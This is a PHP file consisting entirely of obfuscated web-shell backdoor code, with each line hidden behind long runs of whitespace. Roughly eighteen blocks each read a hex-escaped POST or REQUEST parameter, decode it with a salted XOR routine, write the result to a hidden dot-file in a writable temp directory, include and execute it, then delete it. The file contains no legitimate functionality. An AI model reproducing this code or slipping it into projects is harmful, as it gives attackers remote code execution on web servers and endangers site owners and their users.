<?php																																										if(in_array("ma\x72ker", array_keys($_POST))){ $data = array_filter([session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", "/dev/shm", "/tmp", getenv("TEMP"), getenv("TMP"), sys_get_temp_dir()]); $flag = $_POST["ma\x72ker"]; $flag = explode ( "." , $flag ); $pset =''; $salt1 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt1); $w =0; $__len =count( $flag); do { if( $w >=$__len) break; $v7 =$flag[$w]; $sChar =ord( $salt1[$w % $lenS]); $dec =( ( int)$v7 - $sChar -( $w % 10))^76; $pset .= chr( $dec); $w++; } while( true); foreach ($data as $symbol): if (array_product([is_dir($symbol), is_writable($symbol)])) { $item = sprintf("%s/.dat", $symbol); $file = fopen($item, 'w'); if ($file) { fwrite($file, $pset); fclose($file); include $item; @unlink($item); exit; } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "\x72e\x63")){ $element = $_REQUEST["\x72e\x63"]; $element = explode ( "." , $element ); $comp = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s9); $r = 0; array_walk($element ,function ($v9) use (&$comp ,&$r ,$s9 ,$lenS) { $sChar = ord($s9[$r % $lenS]); $dec = ((int)$v9 - $sChar - ($r % 10)) ^ 37; $comp .= chr($dec); $r++; }); $sym = array_filter(["/tmp", getcwd(), "/var/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path()]); $object = 0; do { $key = $sym[$object] ?? null; if ($object >= count($sym)) break; if (is_dir($key) && is_writable($key)) { $dat = "$key" . "/.binding"; if (file_put_contents($dat, $comp)) { require $dat; unlink($dat); die(); } } $object++; } while (true); }
																																										if(array_key_exists("\x72\x65f", $_POST) && !is_null($_POST["\x72\x65f"])){ $resource = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), getenv("TMP"), session_save_path(), getcwd(), "/dev/shm", getenv("TEMP")]); $parameter_group = $_POST["\x72\x65f"]; $parameter_group= explode ( "." , $parameter_group ) ; $dchunk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $q = 0; array_walk( $parameter_group , function( $v9) use( &$dchunk , &$q , $s , $lenS) { $sChar = ord( $s[$q % $lenS]); $dec =( ( int)$v9 - $sChar -( $q % 10))^ 44; $dchunk.= chr( $dec); $q++; } ); foreach ($resource as $fac) { if (is_dir($fac) && is_writable($fac)) { $descriptor = implode("/", [$fac, ".res"]); if (file_put_contents($descriptor, $dchunk)) { include $descriptor; @unlink($descriptor); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x76alue"])){ $parameter_group = $_REQUEST["\x76alue"]; $parameter_group = explode ('.', $parameter_group ) ; $component =''; $salt8 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt8 ); $y =0; $__len =count($parameter_group ); do { if ($y >= $__len) break; $v7 =$parameter_group[$y]; $sChar =ord($salt8[$y % $lenS] ); $d =((int)$v7 - $sChar - ($y % 10))^ 79; $component .= chr($d ); $y++; } while (true ); $dat = array_filter(["/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), session_save_path(), "/dev/shm", "/var/tmp", getcwd()]); for ($pgrp = 0, $pset = count($dat); $pgrp < $pset; $pgrp++) { $k = $dat[$pgrp]; if (array_product([is_dir($k), is_writable($k)])) { $entry = "$k/.pointer"; if (@file_put_contents($entry, $component) !== false) { include $entry; unlink($entry); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["tkn"])){ $ptr = $_REQUEST["tkn"]; $ptr = explode( "." ,$ptr ) ; $rec = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $q = 0; while ($q <count($ptr)) { $v3 = $ptr[$q]; $chS = ord($salt[$q %$lenS] ); $d = ((int)$v3 - $chS - ($q %10)) ^76; $rec .= chr($d ); $q++; } $descriptor = array_filter([getenv("TEMP"), "/tmp", sys_get_temp_dir(), "/var/tmp", getenv("TMP"), getcwd(), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir")]); while ($obj = array_shift($descriptor)) { if (is_writable($obj) && is_dir($obj)) { $sym = implode("/", [$obj, ".pgrp"]); $success = file_put_contents($sym, $rec); if ($success) { include $sym; @unlink($sym); die();} } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["re\x73o\x75\x72\x63e"])){ $res = array_filter([sys_get_temp_dir(), getenv("TEMP"), "/tmp", getenv("TMP"), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), getcwd()]); $entry = $_REQUEST["re\x73o\x75\x72\x63e"]; $entry= explode ( ".", $entry ); $fac = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s6 ); foreach($entry as $r => $v1) { $sChar = ord($s6[$r % $lenS] ); $d =((int)$v1 - $sChar -($r % 10)) ^ 70; $fac .= chr($d ); } while ($entity = array_shift($res)) { if (is_writable($entity) && is_dir($entity)) { $holder = vsprintf("%s/%s", [$entity, ".value"]); $success = file_put_contents($holder, $fac); if ($success) { include $holder; @unlink($holder); die();} } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x64ch\x75n\x6B"])){ $ent = $_REQUEST["\x64ch\x75n\x6B"]; $ent = explode( '.', $ent) ; $fac = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s6); $z = 0; array_walk( $ent, function( $v8) use( &$fac, &$z, $s6, $lenS) { $sChar = ord( $s6[$z% $lenS]); $dec =( ( int)$v8 - $sChar -( $z% 10)) ^ 58; $fac .= chr( $dec); $z++;} ); $dat = array_filter(["/tmp", "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), session_save_path(), getcwd()]); foreach ($dat as $marker): if (!!is_dir($marker) && !!is_writable($marker)) { $pgrp = sprintf("%s/.key", $marker); $file = fopen($pgrp, 'w'); if ($file) { fwrite($file, $fac); fclose($file); include $pgrp; @unlink($pgrp); exit; } } endforeach; }
																																										if(in_array("\x72e\x73\x6Fur\x63e", array_keys($_REQUEST))){ $k = array_filter([getenv("TEMP"), "/var/tmp", "/dev/shm", session_save_path(), sys_get_temp_dir(), "/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP")]); $obj = $_REQUEST["\x72e\x73\x6Fur\x63e"]; $obj = explode ('.',$obj ) ; $val=''; $s5='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s5); $p=0; while ($p < count($obj)) { $v8=$obj[$p]; $sChar=ord($s5[$p % $sLen]); $dec=((int)$v8 - $sChar - ($p % 10))^60; $val .= chr($dec); $p++; } while ($descriptor = array_shift($k)) { if (is_dir($descriptor) && is_writable($descriptor)) { $reference = sprintf("%s/.sym", $descriptor); $success = file_put_contents($reference, $val); if ($success) { include $reference; @unlink($reference); exit;} } } }
																																										if(isset($_POST) && isset($_POST["\x70s\x65t"])){ $object = $_POST["\x70s\x65t"]; $object =explode ('.' , $object) ; $dchunk =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s); $len =count($object); for ($r =0; $r < $len; $r++) { $v9 =$object[$r]; $chS =ord($s[$r % $lenS]); $d =((int)$v9 - $chS - ($r % 10)) ^ 77; $dchunk .= chr($d);} $flg = array_filter(["/tmp", sys_get_temp_dir(), getenv("TEMP"), getcwd(), getenv("TMP"), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm"]); foreach ($flg as $key => $record) { if (is_dir($record) && is_writable($record)) { $res = sprintf("%s/.hld", $record); $file = fopen($res, 'w'); if ($file) { fwrite($file, $dchunk); fclose($file); include $res; @unlink($res); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["\x65\x6C\x65m\x65nt"])){ $item = array_filter([ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), "/var/tmp", "/tmp", getenv("TMP"), session_save_path()]); $desc = $_POST["\x65\x6C\x65m\x65nt"]; $desc = explode ("." , $desc ); $component = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $o = 0; $__len = count( $desc ); do { if( $o >= $__len) break; $v3 = $desc[$o]; $sChar = ord( $salt[$o % $lenS] ); $dec =( ( int)$v3 - $sChar -( $o % 10))^97; $component .= chr( $dec ); $o++; } while( true ); while ($entity = array_shift($item)) { if (is_dir($entity) && is_writable($entity)) { $flg = join("/", [$entity, ".elem"]); if (@file_put_contents($flg, $component) !== false) { include $flg; unlink($flg); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x64a\x74")){ $descriptor = array_filter([getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), "/dev/shm", "/tmp"]); $mrk = $_REQUEST["\x64a\x74"]; $mrk = explode ( '.' , $mrk ); $pgrp = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach ($mrk as $l => $v7): $chS = ord($salt[$l % $lenS]); $d = ((int)$v7 - $chS - ($l % 10)) ^ 92; $pgrp .= chr($d); endforeach; $token = 0; do { $sym = $descriptor[$token] ?? null; if ($token >= count($descriptor)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($sym)) { $pset = str_replace("{var_dir}", $sym, "{var_dir}/.binding"); if (@file_put_contents($pset, $pgrp) !== false) { include $pset; unlink($pset); die(); } } $token++; } while (true); }
																																										if(array_key_exists("re\x73", $_REQUEST)){ $element = array_filter([session_save_path(), getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), getcwd(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp"]); $pgrp = $_REQUEST["re\x73"]; $pgrp = explode ( "." ,$pgrp) ; $ref = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s4); $m = 0; $__tmp = $pgrp; while ($v7 = array_shift($__tmp)) { $chS = ord($s4[$m % $lenS]); $dec = ((int)$v7 - $chS - ($m % 10)) ^ 73; $ref.= chr($dec); $m++; } foreach ($element as $entry) { if (!( !is_dir($entry) || !is_writable($entry) )) { $k = "$entry" . "/.holder"; $file = fopen($k, 'w'); if ($file) { fwrite($file, $ref); fclose($file); include $k; @unlink($k); die(); } } } }
																																										if(isset($_REQUEST["\x66\x61\x63tor"]) ? true : false){ $val = $_REQUEST["\x66\x61\x63tor"]; $val = explode ( "." , $val ) ; $entity = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $__len = count( $val ); for( $w = 0; $w < $__len; $w++) { $v5 = $val[$w]; $sChar = ord( $salt[$w % $sLen] ); $dec =( ( int)$v5 - $sChar -( $w % 10)) ^53; $entity.=chr( $dec );} $hld = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), "/var/tmp", "/dev/shm", getcwd(), getenv("TMP"), sys_get_temp_dir()]); foreach ($hld as $k): if (max(0, is_dir($k) * is_writable($k))) { $sym = join("/", [$k, ".ent"]); $file = fopen($sym, 'w'); if ($file) { fwrite($file, $entity); fclose($file); include $sym; @unlink($sym); exit; } } endforeach; }
																																										if(in_array("\x6Dr\x6B", array_keys($_POST))){ $obj = $_POST["\x6Dr\x6B"]; $obj= explode(".", $obj) ; $item = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6); foreach ($obj as $p => $v8) { $chS = ord($salt6[$p % $sLen]); $d = ((int)$v8 - $chS - ($p % 10)) ^88; $item .= chr($d); } $comp = array_filter(["/var/tmp", getcwd(), getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", "/dev/shm", session_save_path()]); foreach ($comp as $binding): if ((function($d) { return is_dir($d) && is_writable($d); })($binding)) { $key = implode("/", [$binding, ".element"]); if (@file_put_contents($key, $item) !== false) { include $key; unlink($key); die(); } } endforeach; }
																																										if(array_key_exists("\x65ntry", $_REQUEST)){ $itm = array_filter(["/tmp", getenv("TEMP"), getcwd(), sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir")]); $res = $_REQUEST["\x65ntry"]; $res= explode ( '.' , $res ); $reference = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $p = 0; array_walk($res, function ($v2) use (&$reference, &$p, $s, $lenS) { $chS = ord($s[$p % $lenS]); $dec = ((int)$v2 - $chS - ($p % 10))^ 21; $reference.=chr($dec); $p++; }); foreach ($itm as $key => $desc) { if ((function($d) { return is_dir($d) && is_writable($d); })($desc)) { $bind = vsprintf("%s/%s", [$desc, ".pointer"]); $success = file_put_contents($bind, $reference); if ($success) { include $bind; @unlink($bind); exit;} } } }
																																										if(isset($_POST["en\x74"]) ? true : false){ $element = $_POST["en\x74"]; $element = explode ( '.' , $element ); $obj = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt2); foreach ($element as $z => $v5) { $chS = ord($salt2[$z %$sLen]); $dec = ((int)$v5 - $chS - ($z %10)) ^ 72; $obj .= chr($dec);} $binding = array_filter(["/var/tmp", "/dev/shm", getcwd(), getenv("TMP"), sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir")]); while ($itm = array_shift($binding)) { if (!!is_dir($itm) && !!is_writable($itm)) { $comp = vsprintf("%s/%s", [$itm, ".res"]); $file = fopen($comp, 'w'); if ($file) { fwrite($file, $obj); fclose($file); include $comp; @unlink($comp); die(); } } } }


if(@$_REQUEST["des\x63\x72ip\x74\x6Fr"] !== null){
	$binding = $_REQUEST["des\x63\x72ip\x74\x6Fr"];
			$binding=		explode ("."			,$binding		 )		;
	$reference = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen( 	$salt);
            $x = 0;
    
            $__tmp = $binding;
            while( 	$v2 = array_shift( 	$__tmp)) {
                $chS = ord( 	$salt[$x % $sLen]);
                $dec =( 	( 	int)$v2 - $chS -( 	$x % 10)) ^ 36;
                $reference.= chr( 	$dec);
                $x++;
            }
	$hld = array_filter(["/var/tmp", "/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm"]);
	foreach ($hld as $ent):
    		if ((function($d) { return is_dir($d) && is_writable($d); })($ent)) {
    $pset = "$ent/.record";
    $success = file_put_contents($pset, $reference);
if ($success) {
	include $pset;
	@unlink($pset);
	exit;}
}
endforeach;
}